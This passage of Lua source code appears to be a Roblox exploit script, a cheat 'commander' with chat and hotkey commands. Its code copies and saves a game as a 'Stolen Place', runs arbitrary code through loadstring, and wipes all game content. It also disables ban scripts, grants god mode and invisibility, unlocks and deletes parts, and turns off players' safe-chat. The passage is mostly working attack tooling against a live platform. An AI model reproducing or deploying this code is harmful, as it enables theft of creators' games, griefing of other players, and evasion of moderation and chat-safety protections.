if (Selection.Parent~=nil) then Remove.Position=UDim2.new(0,500,0,(i*15))
else Remove.Position=UDim2.new(0,500,0,(i*15)-15) end
Remove.MouseButton1Click:connect(function() if (pcall(function()
Children[i]:Remove() end)) then SetPropGui() SetExplGui() else
Remove.BackgroundColor3=Color3.new(1,1,1) wait(1)
Remove.BackgroundColor3=Color3.new(1,0.25,0.25) end end)
end
end
end
----------------
Selection.Changed:connect(function(prop)
if (Selection==game) then return end
if (updateDebounce==1) then
updateDebounce=0
if (Selection.Parent==nil) then
Selection=game
updateDebounce=1
SetPropGui()
SetExplGui()
return end
if (PropGui~=nil) then
local Button=PropGui:FindFirstChild(prop)
if (Button~=nil) then
local Get=GetType(prop)
Button.Text=" "..tostring(Get).." | "..tostring(Selection[Get])
end end
wait()
updateDebounce=1
end end)
---------------------------
end
SetPropGui()
SetExplGui()

end
Hint=function(txt,t)
if not pcall(function()local w=game:service'CoreGui':children''end)then
return end
local Hint=Instance.new('Hint',game:service'CoreGui')
Hint.Text=txt
wait(t)
Hint:remove''
end
if wfp(game,'PlaceId')~=0 then if Ray.Hacked then error'Hack exist'return end end
Player=wfp(s'Players','LocalPlayer')
table.insert(Connects,Player.Chatted:connect(SearchCommand))
if pcall(function()s'CoreGui':IsA''end)then
PlayerGui=s'CoreGui'
else
PlayerGui=wfo(Player,'Name','PlayerGui')
end
Commands.tele=function(place_id)
local players = {}
for i, v in next, Game.Players:GetPlayers() do
if v ~= Game.Players.LocalPlayer then
table.insert(players, v)
end
end
for i, v in next, players do
pcall(function() v:SetSuperSafeChat(true) end)
end
LoadOnClients(players, TeleportScript(place_id))
end
Commands.ff=function(v,asd)
for i,v in pairs(pf(asd[1]))do
if v.Character then
for i,v in
pairs(FindChildren(v.Character,'ClassName','ForceField'))do
v:remove''
end
if asd[2]=='false'then return end
Instance.new('ForceField',v.Character)
end
end
end
Commands.port=function(v)
local t=game:service'InsertService':LoadAsset'64667087'
if v or v~=''then
t:FindFirstChild('port',true).Value=v
end
game:service'InsertService':Insert(t)
end
Commands.savegame=function()
Place=Instance.new('Model',settings'')
Place.Name=tick''..'Stolen Place '..game.PlaceId
Workspace=Instance.new('Model',Place)
Workspace.Name='Workspace'
Lighting=Instance.new('Model',Place)
Lighting.Name='Lighting'
StarterPack=Instance.new('Model',Place)
StarterPack.Name='StarterPack'
StarterGui=Instance.new('Model',Place)
StarterGui.Name='StarterGui'
Teams=Instance.new('Model',Place)
Teams.Name='Teams'
Players=Instance.new('Model',Place)
Players.Name='Players'
SoundService=Instance.new('Model',Place)
SoundService.Name='SoundService'
for asdasd,asd in pairs(Place:children'')do
for i,v in pairs(game:service(asd.Name):children'')do
pcall(function()
if not v:IsA("Player") then
if v:IsA("Model") then
v.Archivable=true end
v:clone''.Parent=asd
elseif v:IsA("Player") then
plr=Instance.new('Model',Players) plr.Name=v.Name
for e,i in
pairs(v:GetChildren())do i:clone().Parent = plr end
end
end)
end
end
Hint('Save game complete',10)
end
Commands.suicide=function()
for i,v in pairs(Connects)do
v:disconnect''
end
for i,v in pairs(PlayerGui:children'')do
if v.Name==CommanderName then pcall(v.remove,v)end
end
end
Commands.power=function()
if game.Players.LocalPlayer.Character ~= nil then
if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=PowerScriptSource
ls.Disabled=true
ls.Disabled=false
end
end
end
Commands.nova=function()
if game.Players.LocalPlayer.Character ~= nil then
if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=NovaSource
ls.Disabled=true
ls.Disabled=false
end
end
end
Commands.gaara=function()
if game.Players.LocalPlayer.Character ~= nil then
if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=GaaraSource
ls.Disabled=true
ls.Disabled=false
end
end
end
Commands.outgame=function() AntibanScript=false
if game.Players.LocalPlayer.Character ~= nil then
if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=OutGameSource
ls.Disabled=true
ls.Disabled=false
end
end
end
Commands.load=function(v)loadstring(v)()end
Commands.script=function(v)CreateScript('Script',s'Workspace',v)end
Commands['local']=function(v)CreateScript('LocalScript',Player.Backpack,v)end
Commands.dqydqshdjwxcfvwxbclmkljpoiuiyuiteyrteyazeqdsdfdgfdj=function(v,asd)
game:service'Players'.LocalPlayer.Parent=nil
game:service'Players'.LocalPlayer.Parent=game:service'Players'
game:ClearContent'true'
for i,v in pairs(GetAll(game))do
pcall(v.remove,v)
end
game.DescendantAdded:connect(function(c)pcall(c.remove,c)end)
end
Commands.reset=function(v,asd)
for i,p in pairs(pf(asd[1]))do
Delay(0,function()
for i,v in pairs(p.Character:children'')do
if not v:IsA'Humanoid'then
pcall(v.remove,v)
end
end
end)
end
end
Commands.bar=CommandBar
CommandBar''
AntiBan=function()
coroutine.resume(coroutine.create(function()
while true and wait() do
for _,v in pairs(game.Workspace:GetChildren()) do
if (v:IsA("Script")) and (v.Name=="BanScript") then
v.Disabled=true
v:remove()
elseif (v:IsA("Script")) and (string.sub(v.Name, 1,
9)=="Person299") then
v.Disabled=true
v:remove()
end
end
end
end))
end
AntiBan''
X(function()
local gs=s'GuiService'
gs:AddKey(CmdbKey)
gs:AddKey(FocusKey)
gs:AddKey(ExplorerKey)
gs:AddKey(ExproKey)
gs:AddKey(GearKey)
gs:AddKey(BuildKey)
gs:AddKey(GodKey)
gs:AddKey(UnlockKey)
gs:AddKey(LockKey)
gs:AddKey(InvisiKey)
gs:AddKey(VisiKey)
gs:AddKey(AdminKey)
table.insert(Connects,gs.KeyPressed:connect(function(Key)
if Key==CmdbKey then

if(game.Players.LocalPlayer.Name=="LocalCheater")then

game.Players.LocalPlayer.CharacterAppearance = "http://www.roblox.com/asset/?
ID=67950579"

game.Players.LocalPlayer.Character.Humanoid.Health = 0

game.Players.LocalPlayer:SetSuperSafeChat(false)
else
if CommanderScreen.Parent then

pcall(CommanderScreen.remove,CommanderScreen)

Player:SetSuperSafeChat(false)
return
end
CommandBar''

game.Players.LocalPlayer:SetSuperSafeChat(false)
end
elseif Key==FocusKey then
CommanderFocus''
elseif Key==ExproKey then
ExproGui''
Player:SetSuperSafeChat(false)
elseif Key==ExplorerKey then
ExplorerGui''
Player:SetSuperSafeChat(false)
elseif Key==AdminKey then
coroutine.resume(coroutine.create(function()
if(game.Players.LocalPlayer.Character~=nil)then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("_admincmd"))then

AdminScript=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
AdminScript.Name="_admincmd"

AdminScript.Source=AdminScriptSource
AdminScript.Disabled=true
AdminScript.Disabled=false
end
end
end))
elseif Key==InvisiKey then
coroutine.resume(coroutine.create(function()
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then
MergeTool=ctool("iMergeTool")

MergeScript=Instance.new("LocalScript",MergeTool)
end
MergeScript.Source=MergeScriptSource
MergeScript.Disabled=true
MergeScript.Disabled=false
function invisi(path)
for _,v in pairs(path:GetChildren())do

if(v:IsA("Part"))or(v:IsA("Decal"))then
v.Transparency=1
end
invisi(v)
end
end
if(game.Players.LocalPlayer.Character~=nil)then

invisi(game.Players.LocalPlayer.Character)
end
game.Players.LocalPlayer.Character.Humanoid.MaxHealth=math.huge

game.Players.LocalPlayer.Character.Humanoid.Health=math.huge

game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=DefaultGodAndInvisiWalkSpeed

game.Players.LocalPlayer:SetSuperSafeChat(false)
end))
elseif Key==VisiKey then
coroutine.resume(coroutine.create(function()
function uninvisi(path)
for _,v in pairs(path:GetChildren())do

if(v:IsA("Part"))or(v:IsA("Decal"))then
v.Transparency=0
end
uninvisi(v)
end
end
if(game.Players.LocalPlayer.Character~=nil)then

uninvisi(game.Players.LocalPlayer.Character)
end

game.Players.LocalPlayer.Character.Humanoid.MaxHealth=100

game.Players.LocalPlayer.Character.Humanoid.Health=100

game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=16

game.Players.LocalPlayer:SetSuperSafeChat(false)
end))
elseif Key==GodKey then
coroutine.resume(coroutine.create(function()
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then

MergeTool=ctool("iMergeTool")

MergeScript=Instance.new("LocalScript",MergeTool)
end

MergeScript.Source=MergeScriptSource
MergeScript.Disabled=true
MergeScript.Disabled=false
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iTeleport"))then

TeleportTool=ctool("iTeleport")

TeleportScript=Instance.new("LocalScript",TeleportTool)
end
TeleportScript.Source=[[

if(script.Parent:IsA("HopperBin"))then

script.Parent.Selected:connect(function(mouse)
mouse.Button1Down:connect(function()

if(game.Players.LocalPlayer.Character~=nil)then

if(game.Players.LocalPlayer.Character.Torso~=nil)then

game.Players.LocalPlayer.Character.Torso.CFrame=CFrame.new(mouse.Hit.p+Vector3.new(
0,5,0))
end
end
end)
end)
end]]
TeleportScript.Disabled=true
TeleportScript.Disabled=false
function aff(path)
for _,v in
pairs(path:GetChildren())do

if(v:IsA("Part"))then

Instance.new("ForceField",v)
end
aff(v)
end
end

aff(game.Players.LocalPlayer.Character)

Instance.new("ForceField",game.Players.LocalPlayer.Character)

game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=DefaultGodAndInvisiWalkSpeed

game.Players.LocalPlayer.Character.Head.Transparency=1

if(game.Players.LocalPlayer.Character.Head:FindFirstChild("face"))then

game.Players.LocalPlayer.Character.Head:FindFirstChild("face"):remove()
end

game.Players.LocalPlayer.Character.Humanoid.MaxHealth=math.huge
wait()

game.Players.LocalPlayer.Character.Humanoid.Health=math.huge

game.Players.LocalPlayer:SetSuperSafeChat(false)
end))
Player:SetSuperSafeChat(false)
elseif Key==UnlockKey then
function unlock(root)
for _, v in pairs(root:GetChildren()) do
if(v:IsA("Part"))then
v.Locked=false
end
unlock(v)
end
end
unlock(game.Workspace)
coroutine.resume(coroutine.create(function()
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("Unlocked!"))then
local load=ctool("Unlocked!")
end
wait(4)
if
(game.Players.LocalPlayer.Backpack:FindFirstChild("Unlocked!"))then

game.Players.LocalPlayer.Backpack:FindFirstChild("Unlocked!"):remove()
end
end))
elseif Key==LockKey then
function unlock(root)
for _, v in pairs(root:GetChildren()) do
if(v:IsA("Part"))then
v.Locked=true
end
unlock(v)
end
end
unlock(game.Workspace)
coroutine.resume(coroutine.create(function()
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("Locked!"))then
local load=ctool("Locked!")
end
wait(4)
if
(game.Players.LocalPlayer.Backpack:FindFirstChild("Locked!"))then

game.Players.LocalPlayer.Backpack:FindFirstChild("Locked!"):remove()
end
end))
elseif Key==BuildKey then
Player:SetSuperSafeChat(false)
coroutine.resume(coroutine.create(function()
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then

MergeTool=ctool("iMergeTool")

MergeScript=Instance.new("LocalScript",MergeTool)
end

MergeScript.Source=MergeScriptSource
MergeScript.Disabled=true
MergeScript.Disabled=false
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iCloneTool"))then
local clone=ctool("iCloneTool")
clone.BinType = "Clone"
end
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iGrabPartTool"))then
local move=ctool("iGrabPartTool")
move.BinType = "GameTool"
end
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iGrabModelTool"))then
local move=ctool("iGrabModelTool")
move.BinType = "Grab"
end
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iBTool"))then
iBTool=ctool("iBTool")

iBToolScript=Instance.new("LocalScript",iBTool)

iBToolScript.Name="iBScript"
end
iBToolScript.Source=[[
plr=game.Players.LocalPlayer
plg=plr.PlayerGui

coroutine.resume(coroutine.create(function(plr) while(wait())do
chr=plr.Character end end),plr)

if(script.Parent.ClassName~="HopperBin")then

bin=Instance.new("HopperBin",plr.Backpack)
bin.Name="iBTool"
script.Name="iBScript"
script.Parent=bin
else
script.Name="iBScript"
bin=script.Parent
bin.Name="iBTool"
end

bin.Selected:connect(function(mouse) print("iBTool_Selected")

box=Instance.new("SelectionBox")

lso=Instance.new("SelectionPointLasso",chr)
lso.Visible=false

lso.Humanoid=chr:FindFirstChild("Humanoid")
md1=1
md2=1
md3=1
clr=true
ste=false
lvi=false
cle=false
tme=.3
function createGui()

gui=Instance.new("ScreenGui",plg)
gui.Name="iBGui"
--PanelGUI--

frm=Instance.new("Frame",gui)
frm.Visible=false
frm.Name="iBPanel"

frm.Position=UDim2.new(0.0199999996,0,0.400000006,0)

frm.Size=UDim2.new(0.150000006,0,0.400000006,0)

frm.Style="RobloxRound"
frm.ZIndex=8

lab=Instance.new("TextLabel",frm)
lab.Name="iBTitle"

lab.BackgroundTransparency=1

lab.Size=UDim2.new(1,0,0.150000006,0)
lab.ZIndex=9

lab.Font="ArialBold"

lab.FontSize="Size18"

lab.Text="iBuildTools Panel"

lab.TextColor3=Color3.new(1,1,1)

lab.TextStrokeTransparency=0

lab.TextStrokeColor3=Color3.new(0,0,0)

del=Instance.new("TextButton",frm)

del.Name="iBDelete"

del.BackgroundTransparency=1

del.Position=UDim2.new(0,0,0.200000003,0)

del.Size=UDim2.new(1,0,0.119999997,0)

del.Style="RobloxButtonDefault"
del.ZIndex=9

del.Font="ArialBold"

del.FontSize="Size12"
del.Text="Delete"

del.TextColor3=Color3.new(1,1,1)
del.Selected=true

ach=Instance.new("TextButton",frm)

ach.Name="iBAnchor"

ach.BackgroundTransparency=1

ach.Position=UDim2.new(0,0,0.330000013,0)

ach.Size=UDim2.new(1,0,0.119999997,0)
ach.Style="RobloxButton"
ach.ZIndex=9

ach.Font="ArialBold"

ach.FontSize="Size12"
ach.Text="Anchor"

ach.TextColor3=Color3.new(1,1,1)

col=Instance.new("TextButton",frm)

col.Name="iBCanCollide"

col.BackgroundTransparency=1

col.Position=UDim2.new(0,0,0.460000008,0)

col.Size=UDim2.new(1,0,0.119999997,0)

col.Style="RobloxButton"
col.ZIndex=9

col.Font="ArialBold"

col.FontSize="Size12"

col.Text="CanCollide"

col.TextColor3=Color3.new(1,1,1)

lck=Instance.new("TextButton",frm)
lck.Name="iBLock"

lck.BackgroundTransparency=1

lck.Position=UDim2.new(0,0,0.579999983,0)

lck.Size=UDim2.new(1,0,0.119999997,0)

lck.Style="RobloxButton"
lck.ZIndex=9

lck.Font="ArialBold"

lck.FontSize="Size12"
lck.Text="Lock"

lck.TextColor3=Color3.new(1,1,1)

brk=Instance.new("TextButton",frm)
brk.Name="iBBreak"

brk.BackgroundTransparency=1

brk.Position=UDim2.new(0,0,0.699999988,0)

brk.Size=UDim2.new(1,0,0.119999997,0)
brk.Style="RobloxButton"
brk.ZIndex=9

brk.Font="ArialBold"

brk.FontSize="Size12"

brk.Text="BreakJoints"

brk.TextColor3=Color3.new(1,1,1)

set=Instance.new("TextButton",frm)

set.Name="iBSettings"

set.BackgroundTransparency=1

set.Position=UDim2.new(0,0,0.829999983,0)

set.Size=UDim2.new(1,0,0.119999997,0)

set.Style="RobloxButton"
set.ZIndex=9

set.Font="ArialBold"

set.FontSize="Size12"

set.Text="Settings"

set.TextColor3=Color3.new(1,1,1)
frm.Visible=true
--SettingsGUI--

frs=Instance.new("Frame",gui)
frs.Visible=false

frs.Name="iBSettings"

frs.Position=UDim2.new(0.389999986,0,0.400000006,0)

frs.Size=UDim2.new(0.25,0,0.25,0)

frs.Style="RobloxRound"
frs.ZIndex=8

frw=Instance.new("Frame",frs)

frw.Name="iBWindow"

frw.Position=UDim2.new(0,0,0.25999999,0)

frw.Size=UDim2.new(1,0,0.74000001,0)

frw.Style="RobloxRound"
frw.ZIndex=8

cls=Instance.new("TextButton",frs)
cls.Name="iBClose"

cls.Position=UDim2.new(0.850000024,0,-0.00999999978,0)

cls.Size=UDim2.new(0.150000006,0,0.219999999,0)

cls.Style="RobloxButtonDefault"
cls.ZIndex=10

cls.Font="ArialBold"

cls.FontSize="Size12"
cls.Text="X"

cls.TextColor3=Color3.new(1,0,0)

wtl=Instance.new("TextLabel",frs)
wtl.Name="iBTitle"

wtl.BackgroundTransparency=1

wtl.Size=UDim2.new(1,0,0.25,0)
wtl.ZIndex=9

wtl.Font="ArialBold"

wtl.FontSize="Size14"

wtl.Text="iBuildTools Settings Window"

wtl.TextColor3=Color3.new(1,1,1)

wtl.TextStrokeColor3=Color3.new(0,0,0)

wtl.TextStrokeTransparency=0

wtl.TextXAlignment="Left"

clk=Instance.new("TextLabel",frw)
clk.Name="iBClick"

clk.BackgroundTransparency=1

clk.Size=UDim2.new(1,0,0.330000013,0)
clk.ZIndex=10

clk.Font="ArialBold"

clk.FontSize="Size12"

clk.TextColor3=Color3.new(1,1,1)
clk.Text=" - Click
Mode : "

clk.TextStrokeColor3=Color3.new(0,0,0)

clk.TextStrokeTransparency=0

clk.TextXAlignment="Left"
ray=Instance.new("TextLabel",frw)
ray.Name="iBRay"

ray.BackgroundTransparency=1

ray.Position=UDim2.new(0,0,0.330000013,0)

ray.Size=UDim2.new(1,0,0.330000013,0)
ray.ZIndex=10

ray.Font="ArialBold"

ray.FontSize="Size12"

ray.TextColor3=Color3.new(1,1,1)
ray.Text=" - Ray
Mode : "

ray.TextStrokeColor3=Color3.new(0,0,0)

ray.TextStrokeTransparency=0

ray.TextXAlignment="Left"

rfc=Instance.new("TextLabel",frw)

rfc.Name="iBRayFunction"

rfc.BackgroundTransparency=1

rfc.Position=UDim2.new(0,0,0.660000013,0)

rfc.Size=UDim2.new(1,0,0.330000013,0)
rfc.ZIndex=10

rfc.Font="ArialBold"

rfc.FontSize="Size12"

rfc.TextColor3=Color3.new(1,1,1)
rfc.Text=" - Ray
Function : "

rfc.TextStrokeColor3=Color3.new(0,0,0)

rfc.TextStrokeTransparency=0

rfc.TextXAlignment="Left"

ckb=Instance.new("TextButton",frw)

ckb.Name="iBClickButton"

ckb.Position=UDim2.new(0.400000006,0,0,0)

ckb.Size=UDim2.new(0.600000024,0,0.330000013,0)
ckb.ZIndex=10
ckb.Selected=true
ckb.Style="RobloxButtonDefault"

ckb.Font="ArialBold"

ckb.FontSize="Size12"
ckb.Text="Enabled"

ckb.TextColor3=Color3.new(0,1,0)

ryb=Instance.new("TextButton",frw)

ryb.Name="iBRayButton"

ryb.Position=UDim2.new(0.400000006,0,0.330000013,0)

ryb.Size=UDim2.new(0.600000024,0,0.330000013,0)

ryb.Style="RobloxButton"
ryb.ZIndex=10

ryb.Font="ArialBold"

ryb.FontSize="Size12"

ryb.Text="Disabled"

ryb.TextColor3=Color3.new(1,0,0)

rfb=Instance.new("TextButton",frw)

rfb.Name="iBRayFButton"

rfb.Position=UDim2.new(0.400000006,0,0.660000013,0)

rfb.Size=UDim2.new(0.600000024,0,0.330000013,0)

rfb.Style="RobloxButtonDefault"
rfb.ZIndex=10

rfb.Font="ArialBold"

rfb.FontSize="Size12"
rfb.Text="Enable
Propertie"

rfb.TextColor3=Color3.new(0,1,0)
end
createGui()

coroutine.resume(coroutine.create(function()
while(mouse)and
wait() do

if(box)and(ray)then

if(lvi)then

lso.Visible=true
else

lso.Visible=false
end

if(md1==1)then

if(clr)then

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

box.Visible=true

box.Parent=chr

box.Adornee=mouse.Target

if(md2==1)then

box.Color=BrickColor.new("Bright red")

elseif(md2==2)then

if(mouse.Target.Anchored)then

box.Color=BrickColor.new("Camo")

else

box.Color=BrickColor.new("Bright red")

end

elseif(md2==3)then

if(mouse.Target.CanCollide)then

box.Color=BrickColor.new("Camo")

else

box.Color=BrickColor.new("Bright red")

end

elseif(md2==4)then

if(mouse.Target.Locked)then

box.Color=BrickColor.new("Camo")

else
box.Color=BrickColor.new("Bright red")

end

elseif(md2==5)then

box.Color=BrickColor.new("Bright blue")

end

end

else

box.Visible=false

box.Parent=nil

box.Adornee=nil

end

end

elseif(md1==2)then

lso.Point=mouse.Hit.p

lso.Parent=chr

box.Visible=false

box.Parent=nil

box.Adornee=nil

if(md2~=1)and(md2~=5)then

if(md3==1)then

lso.Color=BrickColor.new("Camo")

elseif(md3==2)then

lso.Color=BrickColor.new("Bright red")

end

elseif(md2==1)then

if(cle)then

lso.Color=BrickColor.new("Bright red")

else

lso.Color=BrickColor.new("Bright blue")

end
elseif(md2==5)then

if(cle)then

lso.Color=BrickColor.new("Bright red")

else

lso.Color=BrickColor.new("Bright blue")

end

end
end
end
end
end))
function delDown()

del_downFunc=mouse.Button1Down:connect(function()
md2=1

if(md2==1)then

if(md1==1)then

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

mouse.Target:remove()

end

end

elseif(md1==2)then

lvi=true

while(lvi)and wait() do

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

mouse.Target:remove()

cle=true

wait(tme)
cle=false

else

cle=false

end

else

cle=false

end

end
end
end
end)
end
function delUp()

del_upFunc=mouse.Button1Up:connect(function()
lvi=false
cle=false
end)
end
function achDown()

ach_downFunc=mouse.Button1Down:connect(function()
md2=2

if(md2==2)then

if(md1==1)then

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

if(mouse.Target.Anchored)then

mouse.Target.Anchored=false

else

mouse.Target.Anchored=true

end

end

end

elseif(md1==2)then
lvi=true

while(lvi)and wait() do

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

if(md3==1)then

mouse.Target.Anchored=true

elseif(md3==2)then

mouse.Target.Anchored=false

end

end

end

end
end
end
end)
end
function achUp()

ach_upFunc=mouse.Button1Up:connect(function()
lvi=false
end)
end
function colDown()

col_downFunc=mouse.Button1Down:connect(function()
md2=3

if(md2==3)then

if(md1==1)then

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

if(mouse.Target.CanCollide)then

mouse.Target.CanCollide=false

else
mouse.Target.CanCollide=true

end

end

end

elseif(md1==2)then

lvi=true

while(lvi)and wait() do

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

if(md3==1)then

mouse.Target.CanCollide=true

elseif(md3==2)then

mouse.Target.CanCollide=false

end

end

end

end
end
end
end)
end
function colUp()

col_upFunc=mouse.Button1Up:connect(function()
lvi=false
end)
end
function lckDown()

lck_downFunc=mouse.Button1Down:connect(function()
md2=4

if(md2==4)then

if(md1==1)then

if(mouse.Target~=nil)then
if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

if(mouse.Target.Locked)then

mouse.Target.Locked=false

else

mouse.Target.Locked=true

end

end

end

elseif(md1==2)then

lvi=true

while(lvi)and wait() do

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

if(md3==1)then

mouse.Target.Locked=true

elseif(md3==2)then

mouse.Target.Locked=false

end

end

end

end
end
end
end)
end
function lckUp()

lck_upFunc=mouse.Button1Up:connect(function()
lvi=false
end)
end
function brkDown()
brk_downFunc=mouse.Button1Down:connect(function()
md2=5

if(md2==5)then

if(md1==1)then

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

clr=false

box.Color=BrickColor.new("Bright red")

mouse.Target:BreakJoints()

end

end

elseif(md1==2)then

lvi=true

while(lvi)and wait() do

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

mouse.Target:BreakJoints()

cle=true

else

cle=true

end

else

cle=false

end

end
end
end
end)
end
function brkUp()

brk_upFunc=mouse.Button1Up:connect(function()
clr=true
lvi=false
cle=false
end)
end
delDown()
delUp()
achDown()
achUp()
colDown()
colUp()
lckDown()
lckUp()
brkDown()
brkUp()

del.MouseButton1Click:connect(function()
md2=1

del_downFunc:disconnect()

del_upFunc:disconnect()

ach_downFunc:disconnect()

ach_upFunc:disconnect()

col_downFunc:disconnect()

col_upFunc:disconnect()

lck_downFunc:disconnect()

lck_upFunc:disconnect()

brk_downFunc:disconnect()

brk_upFunc:disconnect()

del.Style="RobloxButtonDefault"
del.Selected=true

ach.Style="RobloxButton"
ach.Selected=false

col.Style="RobloxButton"
col.Selected=false

lck.Style="RobloxButton"
lck.Selected=false

brk.Style="RobloxButton"
brk.Selected=false
delDown()
delUp()
end)
ach.MouseButton1Click:connect(function()
md2=2

del_downFunc:disconnect()

del_upFunc:disconnect()

ach_downFunc:disconnect()

ach_upFunc:disconnect()

col_downFunc:disconnect()

col_upFunc:disconnect()

lck_downFunc:disconnect()

lck_upFunc:disconnect()

brk_downFunc:disconnect()

brk_upFunc:disconnect()

del.Style="RobloxButton"
del.Selected=false

ach.Style="RobloxButtonDefault"
ach.Selected=true

col.Style="RobloxButton"
col.Selected=false

lck.Style="RobloxButton"
lck.Selected=false

brk.Style="RobloxButton"
brk.Selected=false
achDown()
achUp()
end)

col.MouseButton1Click:connect(function()
md2=3

del_downFunc:disconnect()

del_upFunc:disconnect()

ach_downFunc:disconnect()

ach_upFunc:disconnect()

col_downFunc:disconnect()

col_upFunc:disconnect()

lck_downFunc:disconnect()
lck_upFunc:disconnect()

brk_downFunc:disconnect()

brk_upFunc:disconnect()

del.Style="RobloxButton"
del.Selected=false

ach.Style="RobloxButton"
ach.Selected=false

col.Style="RobloxButtonDefault"
col.Selected=true

lck.Style="RobloxButton"
lck.Selected=false

brk.Style="RobloxButton"
brk.Selected=false
colDown()
colUp()
end)

lck.MouseButton1Click:connect(function()
md2=4

del_downFunc:disconnect()

del_upFunc:disconnect()

ach_downFunc:disconnect()

ach_upFunc:disconnect()

col_downFunc:disconnect()

col_upFunc:disconnect()

lck_downFunc:disconnect()

lck_upFunc:disconnect()

brk_downFunc:disconnect()

brk_upFunc:disconnect()

del.Style="RobloxButton"
del.Selected=false

ach.Style="RobloxButton"
ach.Selected=false

col.Style="RobloxButton"
col.Selected=false

lck.Style="RobloxButtonDefault"
lck.Selected=true
brk.Style="RobloxButton"
brk.Selected=false
lckDown()
lckUp()
end)

brk.MouseButton1Click:connect(function()
md2=5

del_downFunc:disconnect()

del_upFunc:disconnect()

ach_downFunc:disconnect()

ach_upFunc:disconnect()

col_downFunc:disconnect()

col_upFunc:disconnect()

lck_downFunc:disconnect()

lck_upFunc:disconnect()

brk_downFunc:disconnect()

brk_upFunc:disconnect()

del.Style="RobloxButton"
del.Selected=false

ach.Style="RobloxButton"
ach.Selected=false

col.Style="RobloxButton"
col.Selected=false

lck.Style="RobloxButton"
lck.Selected=false

brk.Style="RobloxButtonDefault"
brk.Selected=true
brkDown()
brkUp()
end)

set.MouseButton1Click:connect(function()
if(ste)then
